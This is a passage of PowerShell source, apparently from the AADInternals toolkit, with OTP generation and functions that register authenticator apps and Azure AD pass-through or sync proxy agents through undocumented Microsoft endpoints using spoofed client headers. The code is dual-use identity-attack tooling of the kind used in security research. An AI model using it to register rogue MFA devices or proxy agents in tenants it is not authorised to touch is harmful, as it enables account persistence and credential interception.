OTP secret copied to clipboard.
#>
[cmdletbinding()]
Param(
[switch]$Clipboard
)
Process
{
$RNG = [Security.Cryptography.RNGCryptoServiceProvider]::Create()
[Byte[]]$x=1
for($secret=''; $secret.length -lt 16)
{
$RNG.GetBytes($x);
if([char]$x[0] -clike '[2-7a-z]')
{
$secret+=[char]$x[0]
}
}
# Copy to clipboard
if($Clipboard)
{
$secret | Set-Clipboard
Write-Host "OTP secret copied to clipboard"
return
}
# Return
return $secret
}
}
# Registers an authenticator app
# Jul 1st 2020
function Register-MFAApp
{
<#
.SYNOPSIS
Registers AADInternals Authenticator App or OTP app for the user.
.DESCRIPTION
Registers AADInternals Authenticator App or OTP appfor the user.
Requirements for App:
* AADInternals Authentication app is installed.
* Device Token is copied from the app.
* The user have registered at least one MFA method, e.g. SMS. This is because Access Token creation performs MFA.
* Registration is done through https://mysignins.microsoft.com so "Users can use the combined security information registration experience" MUST be activated for the tenant.
.Example
$deviceToken = "APA91bEGIvk1CCg1VIj_YQ_L8fn59UD6...mvXYxlWM6s90_Ct_fpo7iE3uF8hTb"
PS C:\>Get-AADIntAccessTokenForMySignins -SaveToCache
Tenant User Resource Client
------ ---- -------- ------
9a79b12c-f563-4bdc-9d18-6e6d0d52f73b user@company.com 0000000c-0000-0000-c000-000000000000 19db86c3-b2b9-44cc-b339-36da233a3be2
PS C:\>Register-AADIntMFAApp -DeviceToken -$deviceToken -DeviceName "My MFA App" -Type APP
DefaultMethodOptions : 1
DefaultMethod : 0
Username : user@company.com
TenantId : 9a79b12c-f563-4bdc-9d18-6e6d0d52f73b
AzureObjectId : dce60ee2-d907-4478-9f36-de3d74708381
ConfirmationCode : 1481770594613653
OathTokenSecretKey : dzv5osvdx6dhtly4av2apcts32eqh4bg
OathTokenEnabled : true
.Example
PS C:\>Get-AADIntAccessTokenForMySignins -SaveToCache
Tenant User Resource Client
------ ---- -------- ------
9a79b12c-f563-4bdc-9d18-6e6d0d52f73b user@company.com 0000000c-0000-0000-c000-000000000000 19db86c3-b2b9-44cc-b339-36da233a3be2
PS C:\>Register-AADIntMFAApp -Type OTP
OathSecretKey DefaultMethodOptions DefaultMethod
------------- -------------------- -------------
5bhbqsrb6ft5rxdx 1 0
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[String]$DeviceToken,
[Parameter(Mandatory=$False)]
[String]$DeviceName="AADInternals",
[ValidateSet("APP","OTP")]
[String]$Type="APP"
)
Begin
{
# Define some variables
$PfPaWs = "PfPaWs.asmx"
$Version = "6.2001.0140" # Don't change this or Android version number. It should match the auth app version.
}
Process
{
try
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "0000000c-0000-0000-c000-000000000000" -ClientId "1b730954-1685-4b74-9bfd-dac224a7b894"
}
catch
{
Throw "Access token not found! Call Get-AADIntAccessTokenForMySignins with SaveToCache switch."
}
# Check that DeviceCode exists for APP
if($Type -eq "APP" -and [string]::IsNullOrEmpty($DeviceToken))
{
Throw "Type APP requires DeviceToken"
}
# Phase 1: Get the registration info (url, activation code, session context)
$regInfo = Get-MFAAppRegistrationInfo -AccessToken $AccessToken -Type $Type
if(!$regInfo) {
Throw "Registration failed (phase 1)"
}
if($Type -eq "APP")
{
# Phase 2: Send a new activation request
$actInfo = Send-MFAAppNewActivation -AccessToken $AccessToken -RegistrationInfo $regInfo -DeviceToken $DeviceToken -DeviceName $DeviceName
if(!$actInfo) {
Throw "Registration failed (phase 2)"
}
# Phase 3: Send confirmation
$confResult = Send-MFAAppNewActivationConfirmation -AccessToken $AccessToken -ActivationInfo $actInfo -RegistrationInfo $regInfo
if(!$confResult) {
Throw "Registration failed (phase 3)"
}
}
else
{
$actInfo = New-Object psobject -Property @{ "OathSecretKey" = $regInfo.SecretKey}
}
# Phase 4: Add the device to the user
$verContext = Add-MFAAppAddDevice -AccessToken $AccessToken -RegistrationInfo $regInfo -Type $Type
if(!$verContext) {
Throw "Registration failed (phase 4)"
}
# Phase 5: Get data updates (not needed)
$updates = Verify-MFAAppAddDevice -AccessToken $AccessToken -RegistrationInfo $regInfo -VerificationContext $verContext -Type $Type
if(!$updates) {
Write-Warning "Couldn't get data updates."
}
# Insert data update info to return value
$actInfo | Add-Member -NotePropertyName "DefaultMethodOptions" -NotePropertyValue $updates.DefaultMethodOptions
$actInfo | Add-Member -NotePropertyName "DefaultMethod" -NotePropertyValue $updates.DefaultMethod
# Return
return $actInfo
}
}
+589
View File
@@ -0,0 +1,589 @@
# Creates an Oath counter
# Jun 26th 2020
function Get-OathCounter
{
[cmdletbinding()]
Param()
Process
{
$OathCounter = [int](((Get-Date).ToUniversalTime() - $epoch).TotalSeconds / 30)
return $OathCounter
}
}
# Generates a new time-based OTP for MFA
# Jun 26th 2020
function Generate-tOTP
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$SecretKey,
[Parameter(Mandatory=$False)]
[int]$Seconds=0,
[Parameter(Mandatory=$False)]
[int]$TimeShift=0,
[Parameter(Mandatory=$False)]
[int]$TimeStep=30,
[Parameter(Mandatory=$False)]
[int]$Digits=6
)
Process
{
if ($Digits -le 0)
{
$Digits = 6 # Can't be zero so default to six
}
if($Seconds -le 0)
{
# Can't be zero so default to current time
$Seconds = [int]((Get-Date).ToUniversalTime() -$epoch).TotalSeconds
}
if($TimeStep -le 0)
{
$TimeStep = 30 # Can't be zero, so default to 30 seconds
}
$Seconds = ($Seconds + $TimeShift) / $TimeStep
[byte[]]$timeBytes = @( 0,0,0,0, # Integer has only 4 bytes so the first four are zeros
[byte](([int]$Seconds -shr 24) -band 255),
[byte](([int]$Seconds -shr 16) -band 255),
[byte](([int]$Seconds -shr 8) -band 255),
[byte]( [int]$Seconds -band 255)
)
return Generate-hOTP -SecretKey $SecretKey -timeBytes $timeBytes -Digits $Digits
}
}
# Generates a new HMAC based OTP for MFA
# Jun 26th 2020
function Generate-hOTP
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$SecretKey,
[Parameter(Mandatory=$True)]
[byte[]]$TimeBytes,
[Parameter(Mandatory=$True)]
[int]$Digits,
[Parameter(Mandatory=$False)]
[int]$Position = 0
)
Begin
{
$hOtpFullResult = 1073741840
}
Process
{
$divider=0
if ($Digits -ge 1 -and $Digits -le 9)
{
$divider = [Math]::Pow(10, $Digits)
}
elseif ($Digits -eq $hOtpFullResult)
{
$divider = 0
}
else
{
throw "Only 1-9 digits are accepted!"
}
# Calculate the hash using the secret as a key
[byte[]]$decodedSecret = From-Base32String -Secret $SecretKey
$HmacSHA1 = [Security.Cryptography.HMACSHA1]::new($decodedSecret)
$hmacSize = 20
$hash=$HmacSHA1.ComputeHash($TimeBytes)
if ($divider -gt 0)
{
if ($Position -le 0 -or $Position -ge ($hmacSize - 4))
{
$Position = $hash[$hmacSize- 1] -band 15
}
# Generate the OTP from the hash
$retVal = ($hash[$Position] -band 127) -shl 24
$retVal = $retVal -bor ($hash[$Position + 1] -band 255) -shl 16
$retVal = $retVal -bor ($hash[$Position + 2] -band 255) -shl 8
$retVal = $retVal -bor ($hash[$Position + 3] -band 255)
$retVal = $retVal % $divider
return $retVal
}
else
{
return Convert-ByteArrayToHex -Bytes $hash
}
}
}
# Generates a validation code
# Jun 27th 2020
function Generate-ValidationCode
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$SecretKey,
[Parameter(Mandatory=$False)]
[int]$OathCounter=0
)
Process
{
if ($OathCounter -le 0)
{
$OathCounter = Get-OathCounter
}
$validationCode = Generate-tOTP -SecretKey $SecretKey -Digits 1073741840 -Seconds ($OathCounter*30)
return $validationCode.toLower()
}
}
# Converts Base32 string to bytes
# Jun 26th 2020
# Credits: HumanEquivalentUnit
function From-Base32String
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$Secret
)
Process
{
$bigInteger = [Numerics.BigInteger]::Zero
foreach ($char in ($secret.ToUpper() -replace '[^A-Z2-7]').GetEnumerator()) {
$bigInteger = ($bigInteger -shl 5) -bor ('ABCDEFGHIJKLMNOPQRSTUVWXYZ234567'.IndexOf($char))
}
[byte[]]$secretAsBytes = $bigInteger.ToByteArray()
# BigInteger sometimes adds a 0 byte to the end,
# if the positive number could be mistaken as a two's complement negative number.
# If it happens, we need to remove it.
if ($secretAsBytes[-1] -eq 0) {
$secretAsBytes = $secretAsBytes[0..($secretAsBytes.Count - 2)]
}
# BigInteger stores bytes in Little-Endian order,
# but we need them in Big-Endian order.
[array]::Reverse($secretAsBytes)
return [byte[]]$secretAsBytes
}
}
# Converts Base32 string to bytes
# Jun 26th 2020
# Credits: HumanEquivalentUnit
function To-Base32String
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[byte[]]$Secret
)
Process
{
$byteArrayAsBinaryString = -join $Secret.ForEach{
[Convert]::ToString($_, 2).PadLeft(8, '0')
}
$Base32Secret = [regex]::Replace($byteArrayAsBinaryString, '.{5}', {
param($Match)
'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567'[[Convert]::ToInt32($Match.Value, 2)]
})
return $Base32Secret
}
}
# Parses authentication apps data
# Jun 27th 2020
function Parse-AuthApps
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
$appDetails
)
Process
{
$apps=@()
foreach($app in $appDetails)
{
$appAtributes = [ordered]@{
"AuthenticationType"=$app.AuthenticationType
"DeviceName"= $app.DeviceName
"DeviceTag"= $app.DeviceTag
"DeviceToken"= $app.DeviceToken
"Id"= $app.Id
"NotificationType"= $app.NotificationType
"OathTokenTimeDrift"=$app.OathTokenTimeDrift
"OathSecretKey"= $app.OathTokenSecretKey
"PhoneAppVersion"= $app.PhoneAppVersion
"TimeInterval"= $app.TimeInterval
"LastAuthTime" = $(if($app.lastAuthenticatedTimestamp){[DateTime]$app.lastAuthenticatedTimestamp}else{$null})
}
$apps+=New-Object psobject -Property $appAtributes
}
return $apps
}
}
# Gets MFA App Registration information (i.e. url, activation code, and session context)
# Jul 1st 2020
function Get-MFAAppRegistrationInfo
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[ValidateSet("APP","OTP")]
[String]$Type="APP"
)
Process
{
# Create the headers
$headers=@{
"Authorization" = "Bearer $AccessToken"
"Content-Type" = "application/json"
"User-Agent" = ""
}
# Registration type
if($Type -eq "APP")
{
$securityInfoType = 2
}
elseif($Type -eq "OTP")
{
$securityInfoType = 3
}
# Get the authorization information
$response = Invoke-RestMethod -UseBasicParsing -Uri "https://account.activedirectory.windowsazure.com/securityinfo/Authorize" -Method POST -Headers $headers
# Strip the carbage from the start and convert to psobject
$response=$response.Substring($response.IndexOf("{")-1) | ConvertFrom-Json
# Extract the session context and update headers
$sessionCtx = $response.sessionCtx
$headers["SessionCtx"] = $sessionCtx
# Get the needed codes
$response = Invoke-RestMethod -UseBasicParsing -Uri "https://account.activedirectory.windowsazure.com/securityinfo/InitializeMobileAppRegistration" -Method POST -Headers $headers -Body "{""securityInfoType"": $securityInfoType}"
# Strip the carbage from the start and convert to psobject
$response=$response.Substring($response.IndexOf("{")-1) | ConvertFrom-Json
# Add the session context to return value
$response | Add-Member -NotePropertyName "SessionCtx" -NotePropertyValue $sessionCtx
Write-Verbose "Registration info:`n$response"
# Return
return $response
}
}
# Sends a new MFA App activation
# Jul 2nd 2020
function Send-MFAAppNewActivation
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
$RegistrationInfo,
[Parameter(Mandatory=$True)]
[String]$DeviceToken,
[Parameter(Mandatory=$False)]
[String]$DeviceName="AADInternals"
)
Process
{
$url = $RegistrationInfo.Url
# Append the PfPaWs.asmx if not included
if(!$Url.EndsWith($PfPaWs))
{
if(!$Url.EndsWith("/"))
{
$Url+="/";
}
$Url+=$PfPaWs;
}
# Create the headers
$headers=@{
"SOAPAction" = "http://www.phonefactor.com/PfPaWs/ActivateNew"
"Content-Type" = "text/xml; charset=utf-8"
"User-Agent" = "Dalvik/2.1.0 (Linux; U; Android 8.1.0; AADInternals)"
}
$body=@"
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns4="http://www.phonefactor.com/PfPaWs">
<soap:Header/>
<soap:Body>
<ns4:ActivateNew>
<ns4:activationParams>
<ns4:ActivationCode>$($RegInfo.ActivationCode)</ns4:ActivationCode>
<ns4:DeviceToken>$DeviceToken</ns4:DeviceToken>
<ns4:DeviceName>$DeviceName</ns4:DeviceName>
<ns4:OathCounter>$(Get-OathCounter)</ns4:OathCounter>
<ns4:Version>$Version</ns4:Version>
</ns4:activationParams>
</ns4:ActivateNew>
</soap:Body>
</soap:Envelope>
"@
# Send the activation request
$response = Invoke-RestMethod -UseBasicParsing -Uri $Url -Method POST -Headers $headers -Body $body
# Extract the activation information
$activationInformation=$response.Envelope.Body.ActivateNewResponse.activationInfo
Write-Verbose "Activation info:`n$activationInformation"
# Return
return $activationInformation
}
}
# Sends a new MFA App activation confirmation
# Jul 2nd 2020
function Send-MFAAppNewActivationConfirmation
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
$RegistrationInfo,
[Parameter(Mandatory=$True)]
$ActivationInfo
)
Process
{
$url = $RegistrationInfo.Url
# Append the PfPaWs.asmx if not included
if(!$Url.EndsWith($PfPaWs))
{
if(!$Url.EndsWith("/"))
{
$Url+="/";
}
$Url+=$PfPaWs;
}
# Create the headers
$headers=@{
"SOAPAction" = "http://www.phonefactor.com/PfPaWs/ConfirmActivation"
"Content-Type" = "text/xml; charset=utf-8"
"User-Agent" = "Dalvik/2.1.0 (Linux; U; Android 8.1.0; AADInternals)"
}
# Create the body
$body=@"
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns4="http://www.phonefactor.com/PfPaWs">
<soap:Header/>
<soap:Body>
<ns4:ConfirmActivation>
<ns4:confirmationCode>$($ActivationInfo.ConfirmationCode)</ns4:confirmationCode>
</ns4:ConfirmActivation>
</soap:Body>
</soap:Envelope>
"@
# Send the activation confirmation
$response = Invoke-RestMethod -UseBasicParsing -Uri $Url -Method POST -Headers $headers -Body $body
Write-Verbose "Confirmation Activation: $($response.Envelope.Body.ConfirmActivationResponse.ConfirmActivationResult)"
# Return
return $response.Envelope.Body.ConfirmActivationResponse.ConfirmActivationResult -eq "true"
}
}
# Adds the new device
# Jul 2nd 2020
function Add-MFAAppAddDevice
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
$RegistrationInfo,
[ValidateSet("APP","OTP")]
[String]$Type="APP"
)
Process
{
# Set the headers
$headers=@{
"Authorization" = "Bearer $AccessToken"
"SessionCtx" = $RegistrationInfo.SessionCtx
#"Access-Control-Request-Method" = "POST"
#"Access-Control-Request-Headers" ="ajaxrequest,authorization,content-type,sessionctx"
"Origin" = "https://mysignins.microsoft.com"
"Sec-Fetch-Site" = "cross-site"
"Sec-Fetch-Mode" = "cors"
"Sec-Fetch-Dest" = "empty"
"Content-Type" = "application/json"
}
if($Type -eq "APP")
{
$securityType = 2
$secretKey = $RegistrationInfo.ActivationCode
}
elseif($Type -eq "OTP")
{
$securityType = 3
$secretKey = $RegistrationInfo.SecretKey
}
$body="{""Type"":$securityType,""Data"":""{\""secretKey\"":\""$secretKey\"",\""affinityRegion\"":\""$($RegistrationInfo.AffinityRegion)\""}""}"
$state=0
$counter=0
# Loop until we get the context or fail for 10 times
while($state -ne 1 -and ($counter++) -lt 11)
{
# Wait
Start-Sleep -Seconds 2
Write-Verbose "Adding MFA application #$counter"
# Send the AddSecurityInfo request
$response = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://account.activedirectory.windowsazure.com/securityinfo/AddSecurityInfo" -Headers $headers -Body $body
# Strip the carbage from the start and convert to psobject
$response=$response.Substring($response.IndexOf("{")-1) | ConvertFrom-Json
# Get the verification state
$state = $response.VerificationState
}
Write-Verbose "Verification context: $($response.VerificationContext)"
# Return
return $response.VerificationContext
}
}
# Sends MFA App verification request
# Jul 2nd 2020
function Verify-MFAAppAddDevice
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
$RegistrationInfo,
[Parameter(Mandatory=$True)]
[String]$VerificationContext,
[ValidateSet("APP","OTP")]
[String]$Type="APP"
)
Process
{
# Set the headers
$headers=@{
"Authorization" = "Bearer $AccessToken"
"SessionCtx" = $RegistrationInfo.SessionCtx
#"Access-Control-Request-Method" = "POST"
#"Access-Control-Request-Headers" ="ajaxrequest,authorization,content-type,sessionctx"
"Origin" = "https://mysignins.microsoft.com"
"Sec-Fetch-Site" = "cross-site"
"Sec-Fetch-Mode" = "cors"
"Sec-Fetch-Dest" = "empty"
"Content-Type" = "application/json"
}
if($Type -eq "APP")
{
$securityType = 2
$verificationData = $null
}
elseif($Type -eq "OTP")
{
$securityType = 3
$verificationData = (New-AADIntOTP -SecretKey $RegistrationInfo.SecretKey).OTP.replace(" ","")
Start-Sleep -Seconds 3
}
# Create the body
$body = "{""Type"":$securityType,""VerificationContext"":""$VerificationContext"",""VerificationData"":$verificationData}"
$state=0
$counter=0
$dataUpdates=""
# Loop until we get the data or fail for 10 times
while([string]::IsNullOrEmpty($dataUpdates) -and ($counter++) -lt 11)
{
# Wait
Start-Sleep -Seconds 2
Write-Verbose "Sending VerifySecurityInfo message #$counter"
# Send the VerifySecurityInfo message
$response = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://account.activedirectory.windowsazure.com/securityinfo/VerifySecurityInfo" -Headers $headers -Body $body
# Strip the carbage from the start and convert to psobject
$responseBody=$response.Substring($response.IndexOf("{")-1) | ConvertFrom-Json
# Get the verification state
$dataUpdates = $responseBody.Dataupdates
}
Write-Verbose "Data Updates: $dataUpdates"
# Return
return $dataUpdates
}
}
+721
View File
@@ -0,0 +1,721 @@
# This file contains functions for Microsoft App Proxy
Add-Type -AssemblyName System.Web
# Registers App proxy agent to the Azure AD
# Apr 2nd 2020
# May 5th 2022: Added UpdateTrust
function Register-ProxyAgent
{
<#
.SYNOPSIS
Registers a new MS App Proxy agent to Azure AD
.DESCRIPTION
Registers a new MS App Proxy agent to Azure AD. Currently Sync and PTA agents are supported.
.Example
$pt=Get-AADIntAccessTokenForPTA
PS C:\>Register-AADIntProxyAgent -AccessToken $pt -MachineName server1.company.com -AgentType PTA -FileName server1-pta.pfx
.Example
$pt=Get-AADIntAccessTokenForPTA
PS C:\>Register-AADIntProxyAgent -AccessToken $pt -MachineName server2.company.com -AgentType Sync -FileName server2-sync.pfx
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$MachineName,
[Parameter(Mandatory=$False)]
[String]$FileName,
[Parameter(Mandatory=$True)]
[Validateset("PTA","Sync")]
[String]$AgentType,
[Parameter(Mandatory=$False)]
$AgentGroup,
[Parameter(Mandatory=$False)]
[bool]$UpdateTrust,
[Parameter(Mandatory=$False)]
[String]$PfxFileName,
[Parameter(Mandatory=$False)]
[string]$PfxPassword
)
Begin
{
$AgentInfo=@{
"PTA"= @{
"FeatureString" = "PassthroughAuthentication"
"UserAgent" = "PassthroughAuthenticationConnector/1.5.643.0"
}
"Sync"= @{
"FeatureString" = "SyncFabric"
"UserAgent" = "SyncFabricConnector/1.1.96.0"
}
}
}
Process
{
if($UpdateTrust)
{
# Load the old certificate
$cert = Load-Certificate -FileName $PfxFileName -Password $PfxPassword
$tenantId = $cert.Subject.Split("=")[1]
}
else
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://proxy.cloudwebappproxy.net/registerapp" -ClientId "cb1056e2-e479-49de-ae31-7812af012ed8"
$tenantId = Get-TenantID -AccessToken $AccessToken
}
# Set some variables
$OSLanguage="1033"
$OSLocale="0409"
$OSSku="8"
$OSVersion="10.0.17763"
# Create a private key and do something with it to get it stored
$rsa=[System.Security.Cryptography.RSA]::Create(2048)
# Initialize the Certificate Signing Request object
$CN="" # The name doesn't matter
$req = [System.Security.Cryptography.X509Certificates.CertificateRequest]::new($CN, $rsa, [System.Security.Cryptography.HashAlgorithmName]::SHA256,[System.Security.Cryptography.RSASignaturePadding]::Pkcs1)
if($AgentType -eq "PTA")
{
# Key usage
$req.CertificateExtensions.Add([System.Security.Cryptography.X509Certificates.X509KeyUsageExtension]::new([System.Security.Cryptography.X509Certificates.X509KeyUsageFlags]::DigitalSignature -bor [System.Security.Cryptography.X509Certificates.X509KeyUsageFlags]::NonRepudiation -bor [System.Security.Cryptography.X509Certificates.X509KeyUsageFlags]::KeyEncipherment -bor [System.Security.Cryptography.X509Certificates.X509KeyUsageFlags]::DataEncipherment, $false))
# TLS Web client authentication
$oidCollection = [System.Security.Cryptography.OidCollection]::new()
$oidCollection.Add([System.Security.Cryptography.Oid]::new("1.3.6.1.5.5.7.3.2")) | Out-Null
$req.CertificateExtensions.Add([System.Security.Cryptography.X509Certificates.X509EnhancedKeyUsageExtension]::new($oidCollection, $true))
# Add the public Key to the request
$req.CertificateExtensions.Add([System.Security.Cryptography.X509Certificates.X509SubjectKeyIdentifierExtension]::new($req.PublicKey,$false))
# Create the signing request
$csr=$req.CreateSigningRequest()
}
elseif($AgentType -eq "Sync")
{
# This must be done this way cause MS CSR classes doesn't support attributes :(
$csr = NewCSRforSync -MachineName $MachineName -PublicKey $req.PublicKey.EncodedKeyValue.RawData
}
$b64Csr=[convert]::ToBase64String($csr)
# Create the request body
if($UpdateTrust)
{
[xml]$config=Get-BootstrapConfiguration -Certificate $cert -MachineName $MachineName
if(!$config)
{
# Couldn't get bootrap so cert doesn't work :(
return
}
$trustEndpoint = $config.BootstrapResponse.TrustRenewEndpoint
$body=@"
<TrustRenewalRequest xmlns="http://schemas.datacontract.org/2004/07/Microsoft.ApplicationProxy.Common.Registration.TrustRenewal" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
<Base64Csr xmlns="http://schemas.datacontract.org/2004/07/Microsoft.ApplicationProxy.Common.Registration">$b64Csr
</Base64Csr>
<TrustRenewalRequestSettings>
<SystemSettingsInformation i:type="a:SystemSettings" xmlns="http://schemas.datacontract.org/2004/07/Microsoft.ApplicationProxy.Common.RegistrationCommons" xmlns:a="http://schemas.datacontract.org/2004/07/Microsoft.ApplicationProxy.Common.Utilities.SystemSettings">
<a:MachineName>$machineName</a:MachineName>
<a:OsLanguage>$OSLanguage</a:OsLanguage>
<a:OsLocale>$OSLocale</a:OsLocale>
<a:OsSku>$OSSku</a:OsSku>
<a:OsVersion>$OSVersion</a:OsVersion>
</SystemSettingsInformation>
<ConnectorVersion>1.5.2482.0</ConnectorVersion>
</TrustRenewalRequestSettings>
</TrustRenewalRequest>
"@
# Renew trust and get the certificate
$response = Invoke-RestMethod -UseBasicParsing -Uri "$trustEndPoint/RenewTrustCertificate" -Method Post -Body $body -Headers @{"Content-Type"="application/xml; charset=utf-8"} -Certificate $cert
if($response.TrustRenewalResult.IsSuccessful.'#text' -eq "true")
{
# Get the certificate
$b64Cert = $response.TrustRenewalResult.Certificate.'#text'
}
else
{
# Something went wrong
Write-Error $response.TrustRenewalResult.ErrorMessage.'#text'
}
}
else
{
$body=@"
<RegistrationRequest xmlns="http://schemas.datacontract.org/2004/07/Microsoft.ApplicationProxy.Common.Registration" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
<Base64Csr>$b64Csr
</Base64Csr>
<AuthenticationToken>$AccessToken</AuthenticationToken>
<Base64Pkcs10Csr i:nil="true"/>
<Feature>ApplicationProxy</Feature>
<FeatureString>$($AgentInfo[$AgentType]["FeatureString"])</FeatureString>
<RegistrationRequestSettings>
<SystemSettingsInformation i:type="a:SystemSettings" xmlns="http://schemas.datacontract.org/2004/07/Microsoft.ApplicationProxy.Common.RegistrationCommons" xmlns:a="http://schemas.datacontract.org/2004/07/Microsoft.ApplicationProxy.Common.Utilities.SystemSettings">
<a:MachineName>$machineName</a:MachineName>
<a:OsLanguage>$OSLanguage</a:OsLanguage>
<a:OsLocale>$OSLocale</a:OsLocale>
<a:OsSku>$OSSku</a:OsSku>
<a:OsVersion>$OSVersion</a:OsVersion>
</SystemSettingsInformation>
<PSModuleVersion>1.5.643.0</PSModuleVersion>
<SystemSettings i:type="a:SystemSettings" xmlns:a="http://schemas.datacontract.org/2004/07/Microsoft.ApplicationProxy.Common.Utilities.SystemSettings">
<a:MachineName>$machineName</a:MachineName>
<a:OsLanguage>$OSLanguage</a:OsLanguage>
<a:OsLocale>$OSLocale</a:OsLocale>
<a:OsSku>$OSSku</a:OsSku>
<a:OsVersion>$OSVersion</a:OsVersion>
</SystemSettings>
</RegistrationRequestSettings>
<TenantId>$tenantId</TenantId>
<UserAgent>$($AgentInfo[$AgentType]["UserAgent"])</UserAgent>
</RegistrationRequest>
"@
# Register the app and get the certificate
$response = Invoke-RestMethod -UseBasicParsing -Uri "https://$tenantId.registration.msappproxy.net/register/RegisterConnector" -Method Post -Body $body -Headers @{"Content-Type"="application/xml; charset=utf-8"}
if($response.RegistrationResult.IsSuccessful -eq "true")
{
# Get the certificate
$b64Cert = $response.RegistrationResult.Certificate
}
else
{
# Something went wrong
Write-Error $response.RegistrationResult.ErrorMessage
}
}
if(![string]::IsNullOrEmpty($b64Cert))
{
# Convert certificate to byte array
$binCert = [convert]::FromBase64String($b64Cert)
# Create a new x509certificate
$cert = [System.Security.Cryptography.X509Certificates.X509Certificate2]::new($binCert,"",[System.Security.Cryptography.X509Certificates.X509KeyStorageFlags]::UserKeySet -band [System.Security.Cryptography.X509Certificates.X509KeyStorageFlags]::Exportable)
# Get the instance Id (=Agent Id)
foreach($extension in $cert.Extensions)
{
if($extension.Oid.Value -eq "1.3.6.1.4.1.311.82.1")
{
$InstanceID = [guid]$extension.RawData
}
}
if([string]::IsNullOrEmpty($FileName))
{
$FileName = "$($MachineName)_$($tenantId)_$($InstanceID)_$($cert.Thumbprint).pfx"
}
# Store the private key so that it can be exported
$cspParameters = [System.Security.Cryptography.CspParameters]::new()
$cspParameters.ProviderName = "Microsoft Enhanced RSA and AES Cryptographic Provider"
$cspParameters.ProviderType = 24
$cspParameters.KeyContainerName ="AADInternals"
# Set the private key
$privateKey = [System.Security.Cryptography.RSACryptoServiceProvider]::new(2048,$cspParameters)
$privateKey.ImportParameters($rsa.ExportParameters($true))
$cert.PrivateKey = $privateKey
# Export the certificate to pfx
$binCert = $cert.Export([System.Security.Cryptography.X509Certificates.X509ContentType]::Pfx)
Set-BinaryContent -Path $fileName -Value $binCert
# Remove the private key from the store
$privateKey.PersistKeyInCsp=$false
$privateKey.Clear()
if($UpdateTrust)
{
Write-Host "$AgentType Agent ($InstanceID) certificate renewed for $MachineName"
}
else
{
Write-Host "$AgentType Agent ($InstanceID) registered as $MachineName"
}
Write-Host "Certificate saved to $FileName"
# We need to register the agent to a group
if($AgentType -eq "Sync" -and [string]::IsNullOrEmpty($AgentGroup) -ne $true)
{
Add-ProxyAgentToGroup -AccessToken $AccessToken -Agent $InstanceID -Group $AgentGroup
}
}
}
}
# Gets list of publishing agents
# Apr 3rd 2020
function Get-ProxyAgents
{
<#
.SYNOPSIS
Shows the list of MS App Proxy agents
.DESCRIPTION
Shows the list of MS App Proxy authentication and provisioning agents
.Example
Get-AADIntProxyAgents | ft
id machineName externalIp status supportedPublishingTypes
-- ----------- ---------- ------ ------------------------
51f3afd9-685b-413a-aafa-bab0d556ea4b this.is.a.fake 67.35.155.73 active {authentication}
51a061a0-968d-48b8-951e-5ae9d9a0441f server1.company.com 93.188.31.116 inactive {authentication}
49c9ad46-c067-42f6-a678-dfd938c27789 server2.company.com 102.20.104.213 inactive {provisioning}
.Example
$pt=Get-AADIntAccessTokenForPTA
PS C:\>Get-AADIntProxyAgents -AccessToken $pt | pt
id machineName externalIp status supportedPublishingTypes
-- ----------- ---------- ------ ------------------------
51f3afd9-685b-413a-aafa-bab0d556ea4b this.is.a.fake 67.35.155.73 active {authentication}
51a061a0-968d-48b8-951e-5ae9d9a0441f server1.company.com 93.188.31.116 inactive {authentication}
49c9ad46-c067-42f6-a678-dfd938c27789 server2.company.com 102.20.104.213 inactive {provisioning}
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Begin
{
$publishingTypes = @( # Roles that can access the agent
#"appProxy" # ApplicationAdmin, GlobalAdmin
"authentication" # GlobalAdmin
"provisioning" # GlobalAdmin
"exchangeOnline" # GlobalAdmin
#"intunePfx" # GlobalAdmin
#"oflineDomainJoin" # GlobalAdmin
"adAdministration" # DirSyncAdmin, GlobalAdmin
#"unknownFutureValue" #
)
}
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://proxy.cloudwebappproxy.net/registerapp" -ClientId "cb1056e2-e479-49de-ae31-7812af012ed8"
# Get the tenant id and instance id from the certificate
$TenantId = Get-TenantID -AccessToken $AccessToken
$headers = @{
"Authorization" = "Bearer $AccessToken"
"x-ms-gateway-serviceRoot" =""
}
foreach($type in $publishingTypes)
{
